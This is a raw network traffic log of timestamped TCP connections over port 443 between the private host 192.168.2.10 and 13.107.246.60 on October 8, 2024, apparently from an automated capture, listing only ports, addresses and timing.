Oct 8, 2024 03:24:14.044420958 CEST	49749	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.044440031 CEST	443	49749	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.047529936 CEST	443	49745	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.047677040 CEST	443	49745	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.047734022 CEST	49745	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.047765970 CEST	49745	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.047766924 CEST	49745	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.047772884 CEST	443	49745	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.047780991 CEST	443	49745	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.049649000 CEST	49750	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.049660921 CEST	443	49750	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.049798012 CEST	49750	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.049956083 CEST	49750	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.049969912 CEST	443	49750	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.492907047 CEST	443	49747	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.493555069 CEST	49747	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.493586063 CEST	443	49747	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.494200945 CEST	49747	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.494205952 CEST	443	49747	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.596934080 CEST	443	49747	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.596993923 CEST	443	49747	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.597059965 CEST	49747	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.597285032 CEST	49747	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.597304106 CEST	443	49747	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.597312927 CEST	49747	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.597317934 CEST	443	49747	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.599860907 CEST	49751	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.599901915 CEST	443	49751	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.600028038 CEST	49751	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.600166082 CEST	49751	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.600179911 CEST	443	49751	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.672081947 CEST	443	49748	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.672646046 CEST	49748	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.672661066 CEST	443	49748	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.673173904 CEST	49748	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.673187017 CEST	443	49748	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.690234900 CEST	443	49750	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.690651894 CEST	49750	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.690676928 CEST	443	49750	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.691036940 CEST	49750	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.691041946 CEST	443	49750	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.698604107 CEST	443	49749	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.698939085 CEST	49749	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.698947906 CEST	443	49749	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.699291945 CEST	49749	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.699296951 CEST	443	49749	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.796094894 CEST	443	49748	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.796283960 CEST	443	49748	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.796394110 CEST	49748	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.796449900 CEST	49748	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.796449900 CEST	49748	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.796469927 CEST	443	49748	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.796473980 CEST	443	49748	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.798773050 CEST	49752	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.798820972 CEST	443	49752	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.798904896 CEST	49752	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.799061060 CEST	49752	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.799076080 CEST	443	49752	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.808991909 CEST	443	49750	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.809051991 CEST	443	49750	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.809103012 CEST	49750	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.809221983 CEST	49750	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.809238911 CEST	443	49750	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.809250116 CEST	49750	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.809254885 CEST	443	49750	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.811347961 CEST	49753	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.811382055 CEST	443	49753	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.811461926 CEST	49753	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.811563969 CEST	49753	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.811578035 CEST	443	49753	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.852531910 CEST	443	49749	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.852691889 CEST	443	49749	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.852756023 CEST	49749	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.853161097 CEST	49749	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.853168011 CEST	443	49749	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.853178024 CEST	49749	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.853182077 CEST	443	49749	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.857136011 CEST	49754	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.857162952 CEST	443	49754	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:14.857222080 CEST	49754	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.857363939 CEST	49754	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:14.857376099 CEST	443	49754	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.145145893 CEST	443	49732	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.145818949 CEST	49732	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.145837069 CEST	443	49732	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.146240950 CEST	49732	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.146246910 CEST	443	49732	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.195456982 CEST	443	49751	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.196101904 CEST	49751	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.196156979 CEST	443	49751	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.196517944 CEST	49751	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.196530104 CEST	443	49751	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.246232986 CEST	443	49732	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.246311903 CEST	443	49732	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.246426105 CEST	49732	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.246656895 CEST	49732	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.246674061 CEST	443	49732	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.246682882 CEST	49732	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.246687889 CEST	443	49732	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.249496937 CEST	49755	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.249525070 CEST	443	49755	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.249594927 CEST	49755	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.249798059 CEST	49755	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.249813080 CEST	443	49755	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.298857927 CEST	443	49751	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.298903942 CEST	443	49751	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.298983097 CEST	49751	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.299150944 CEST	49751	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.299179077 CEST	443	49751	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.299194098 CEST	49751	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.299201965 CEST	443	49751	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.301489115 CEST	49756	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.301525116 CEST	443	49756	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.301635981 CEST	49756	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.302254915 CEST	49756	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.302273035 CEST	443	49756	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.356523991 CEST	443	49752	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.357012033 CEST	49752	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.357036114 CEST	443	49752	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.357465982 CEST	49752	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.357470989 CEST	443	49752	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.443646908 CEST	443	49753	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.444098949 CEST	49753	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.444123983 CEST	443	49753	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.444536924 CEST	49753	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.444550991 CEST	443	49753	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.455705881 CEST	443	49752	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.455770969 CEST	443	49752	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.455842972 CEST	49752	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.455996990 CEST	49752	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.456010103 CEST	443	49752	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.456018925 CEST	49752	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.456024885 CEST	443	49752	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.458458900 CEST	49757	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.458504915 CEST	443	49757	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.458573103 CEST	49757	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.458729982 CEST	49757	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.458743095 CEST	443	49757	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.522876024 CEST	443	49754	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.526657104 CEST	49754	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.526691914 CEST	443	49754	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.527143955 CEST	49754	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.527153969 CEST	443	49754	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.542213917 CEST	443	49753	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.542268038 CEST	443	49753	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.542467117 CEST	49753	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.542504072 CEST	49753	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.542531013 CEST	443	49753	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.542543888 CEST	49753	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.542551041 CEST	443	49753	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.545258999 CEST	49758	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.545306921 CEST	443	49758	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.545381069 CEST	49758	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.545538902 CEST	49758	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.545553923 CEST	443	49758	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.625288010 CEST	443	49754	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.625355005 CEST	443	49754	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.625612020 CEST	49754	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.625643969 CEST	49754	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.625663996 CEST	443	49754	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.625686884 CEST	49754	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.625694036 CEST	443	49754	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.628366947 CEST	49759	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.628407955 CEST	443	49759	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.628544092 CEST	49759	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.628609896 CEST	49759	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.628618956 CEST	443	49759	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.833825111 CEST	443	49755	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.834716082 CEST	49755	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.834728003 CEST	443	49755	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.835174084 CEST	49755	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.835179090 CEST	443	49755	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.935734987 CEST	443	49755	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.935794115 CEST	443	49755	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.935889006 CEST	49755	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.936141968 CEST	49755	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.936142921 CEST	49755	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.936165094 CEST	443	49755	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.936181068 CEST	443	49755	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.938760042 CEST	49760	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.938796043 CEST	443	49760	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.938875914 CEST	49760	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.939027071 CEST	49760	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.939044952 CEST	443	49760	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.940313101 CEST	443	49756	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.943732023 CEST	49756	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.943761110 CEST	443	49756	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:15.944160938 CEST	49756	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:15.944168091 CEST	443	49756	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.039480925 CEST	443	49756	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.039539099 CEST	443	49756	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.039764881 CEST	49756	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.039764881 CEST	49756	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.039791107 CEST	49756	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.039808035 CEST	443	49756	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.043006897 CEST	49761	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.043055058 CEST	443	49761	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.043248892 CEST	49761	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.043390989 CEST	49761	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.043401957 CEST	443	49761	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.168068886 CEST	443	49757	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.168582916 CEST	49757	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.168622017 CEST	443	49757	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.169066906 CEST	49757	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.169074059 CEST	443	49757	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.212193966 CEST	443	49758	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.216710091 CEST	49758	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.216736078 CEST	443	49758	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.217180967 CEST	49758	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.217186928 CEST	443	49758	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.276572943 CEST	443	49757	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.276714087 CEST	443	49757	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.276889086 CEST	49757	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.276936054 CEST	49757	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.276959896 CEST	443	49757	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.276969910 CEST	49757	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.276977062 CEST	443	49757	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.279603958 CEST	49762	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.279629946 CEST	443	49762	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.279705048 CEST	49762	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.279846907 CEST	49762	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.279854059 CEST	443	49762	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.312455893 CEST	443	49759	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.313014984 CEST	49759	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.313031912 CEST	443	49759	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.313213110 CEST	443	49758	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.313369989 CEST	443	49758	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.313397884 CEST	49759	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.313405991 CEST	443	49759	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.313433886 CEST	49758	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.313484907 CEST	49758	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.313499928 CEST	443	49758	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.313512087 CEST	49758	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.313517094 CEST	443	49758	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.316025019 CEST	49763	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.316055059 CEST	443	49763	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.316129923 CEST	49763	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.316286087 CEST	49763	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.316298962 CEST	443	49763	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.421185017 CEST	443	49759	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.421340942 CEST	443	49759	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.421390057 CEST	49759	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.421559095 CEST	49759	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.421559095 CEST	49759	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.421578884 CEST	443	49759	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.421585083 CEST	443	49759	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.424806118 CEST	49764	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.424844980 CEST	443	49764	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.425061941 CEST	49764	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.425061941 CEST	49764	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.425096035 CEST	443	49764	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.577014923 CEST	443	49760	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.577848911 CEST	49760	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.577862978 CEST	443	49760	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.578097105 CEST	49760	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.578114033 CEST	443	49760	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.676515102 CEST	443	49760	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.676582098 CEST	443	49760	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.676656008 CEST	49760	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.676790953 CEST	49760	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.676809072 CEST	443	49760	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.676846981 CEST	49760	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.676852942 CEST	443	49760	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.679825068 CEST	49765	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.679862022 CEST	443	49765	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.679924011 CEST	49765	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.680072069 CEST	49765	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.680084944 CEST	443	49765	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.718363047 CEST	443	49761	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.718817949 CEST	49761	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.718847990 CEST	443	49761	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.719270945 CEST	49761	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.719288111 CEST	443	49761	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.829587936 CEST	443	49761	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.829679966 CEST	443	49761	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.829745054 CEST	49761	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.829966068 CEST	49761	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.829994917 CEST	443	49761	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.830012083 CEST	49761	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.830018997 CEST	443	49761	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.833023071 CEST	49766	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.833054066 CEST	443	49766	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.833132982 CEST	49766	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.833343983 CEST	49766	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.833357096 CEST	443	49766	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.944006920 CEST	443	49762	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.944627047 CEST	49762	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.944665909 CEST	443	49762	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.945064068 CEST	49762	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.945072889 CEST	443	49762	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.979341030 CEST	443	49763	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.979837894 CEST	49763	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.979852915 CEST	443	49763	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:16.980273962 CEST	49763	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:16.980282068 CEST	443	49763	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.044868946 CEST	443	49762	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.044924974 CEST	443	49762	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.044974089 CEST	49762	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.045178890 CEST	49762	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.045197010 CEST	443	49762	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.048352957 CEST	49767	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.048387051 CEST	443	49767	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.048460960 CEST	49767	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.048625946 CEST	49767	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.048640013 CEST	443	49767	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.085971117 CEST	443	49763	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.086033106 CEST	443	49763	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.086090088 CEST	49763	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.086332083 CEST	49763	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.086349964 CEST	443	49763	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.086364031 CEST	49763	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.086370945 CEST	443	49763	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.089202881 CEST	49768	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.089241982 CEST	443	49768	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.089312077 CEST	49768	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.089515924 CEST	49768	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.089534998 CEST	443	49768	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.099864960 CEST	443	49764	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.100296974 CEST	49764	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.100308895 CEST	443	49764	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.100864887 CEST	49764	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.100869894 CEST	443	49764	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.200679064 CEST	443	49764	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.200756073 CEST	443	49764	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.200814962 CEST	49764	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.201750040 CEST	49764	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.201769114 CEST	443	49764	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.201778889 CEST	49764	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.201785088 CEST	443	49764	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.205147982 CEST	49769	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.205188036 CEST	443	49769	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.205251932 CEST	49769	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.205436945 CEST	49769	443	192.168.2.10	13.107.246.60
